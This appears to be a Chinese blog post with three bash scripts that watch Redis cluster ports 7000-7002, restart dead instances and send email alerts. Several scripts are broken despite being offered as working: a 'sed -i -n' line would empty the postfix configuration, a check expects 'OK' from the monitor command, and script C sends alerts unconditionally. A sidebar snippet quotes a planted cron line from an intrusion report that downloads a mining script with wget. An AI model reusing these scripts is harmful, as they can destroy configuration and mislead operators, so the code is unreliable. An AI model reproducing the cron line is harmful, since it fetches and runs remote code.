首页
登录 | 注册

redis下的cluste的脚本监控

redis服务端的ip地址是192.168.0.171
打开的端口是:7000 7001 7002
安装的目录为:/data/redis-server
日志目录为:/data/redis-server/log
[root@test3 redis-server]# pwd
/data/redis-server
[root@test3 redis-server]# ls
7000  7001  7002  7003  log  monitor.sh  redis-3.0.3  redis-3.0.3.tar.gz  redis_mon.sh  redis-server  redis-trib.rb
[root@test3 redis-server]#











#!/bin/bash
#version 1.0
#name han
#email hz7726@163.com
脚本A:
yum install -y mutt postfix
/etc/init.d/postfix start
sed -i -n "s/inet_protocols = all/inet_protocols = ipv4/g" /etc/postfix/main.cf
/etc/init.d/postfix restart

function redres {
for i in $1 $2 $3
do

reds=`redis-cli -h 192.168.0.171  -c -p $i  monitor`
 if [ "$reds" == "OK" ]; then
     echo "is successs"
 else
      /data/redis-server/redis-server /data/redis-server/$i/redis.conf
    echo "is down" |mutt -s -a “日志文件” -- hz7726@163.com
  fi
done
  }
redres 7000 7001 7002



脚本B:
date=`date +%Y%m%d%H`
datadr="/data/redis-server"
logdir="/data/redis-server/log"
if [ ! -d $logdir ]; then mkdir -pv $logdir;fi
function redis_mon {
for redisport in $1 $2 $3
do
    ps -ef |grep "$redisport" | grep -v grep
  if [ $?  -eq  0 ]; then
    echo " redis is success " >> $logdir/redis-${redis}-${date}.log
  else
     $datadr/redis-server  $datadr/$redisport/redis.conf
echo "is down" |mutt -s -a “日志文件” -- hz7726@163.com
    fi
done
}
redis_mon 7000 7001 7002


脚本C:
#cd $datadr
#redis7000="7000"
#redis7001="7001"
#redis7002="7002"
#ps -ef |grep "$redis7000" |grep -v grep
#if [ $? -eq 0 ]; then
#   echo "redis-7000 is norma"  > /dev/null 2>&1
#  else
#      echo "$data redis 7000 is down" >> ./log/redis-7000.log
echo "is down" |mutt -s -a “日志文件” -- hz7726@163.com
#    ./redis-server  ./$redis7000/redis.conf
#fi
#ps -ef |grep "$redis7001" |grep -v grep
#if [ $? -eq 0 ]; then
#   echo "redis-7001 is norma"  > /dev/null 2>&1
 # else
  #    echo "$data redis 7001 is down" >> ./log/redis-7001.log
echo "is down" |mutt -s -a “日志文件” -- hz7726@163.com
  #  ./redis-server  ./$redis7001/redis.conf
#fi
#ps -ef |grep "$redis7002" |grep -v grep
#if [ $? -eq 0 ]; then
#   echo "redis-7002 is norma"  > /dev/null 2>&1
#  else
#      echo "$date redis 7002 is down" >> ./log/redis-7002.log
echo "is down" |mutt -s -a “日志文件” -- hz7726@163.com
#    ./redis-server  ./$redis7002/redis.conf
#fi
三个脚本实现的功能是一样的 ,脚本仅供参考 ,

相关文章

  • zabbix使用python脚本监控java进程
    作者:撸大师 链接:https://www.jianshu.com/p/172118ca0262 前言:目前有个需求,需要对线上几台拥有5个tomcat的服务器添加监控,分别监控各个tomcat的gc.连接数.使用内存等,现成的模板是监控一 ...
  • 发现有人利用redis权限写入挖矿脚本 xxx(被入侵的主机):6379> get weaponZ "\n*/7 * * * * wget -q -O- https://pixeldra.in/api/download/uh ...
  • 互联网公司面试经常会问的Redis题目
    Github 源码:https://github.com/antirez/redis 01 String字符串: string类型是二进制安全的.意思是redis的string可以包含任何数据.比如jpg图片或者序列化的对象 . Hash( ...
  • 介绍Kubernetes监控Heapster
    Heapster是容器集群监控和性能分析工具,天然的支持Kubernetes和CoreOS,Kubernetes有个出名的监控agent-cAdvisor.在每个kubernetes Node上都会运行cAdvisor,它会收集本机以及容器 ...
  • Redis本质上是一个Key-Value类型的内存数据库,很像memcached,整个数据库统统加载在内存当中进行操作,定期通过异步操作把数据库数据flush到硬盘上进行保存.因为是纯内存操作,Redis的性能非常出色,每秒可以处理超过 1 ...
  •     同事有个需求,需要监控mongodb数据库中某一个collection的数据增长情况,原因是由于有定时任务不断往数据库里填充数据,如果定时任务挂掉了可以及时重启任务,保证数据的准确性.其实也可以监控定时任务的执行情况,之后再研究. ...

2019 unjeep.com webmaster#unjeep.com
12 q. 0.013 s.
京ICP备10005923号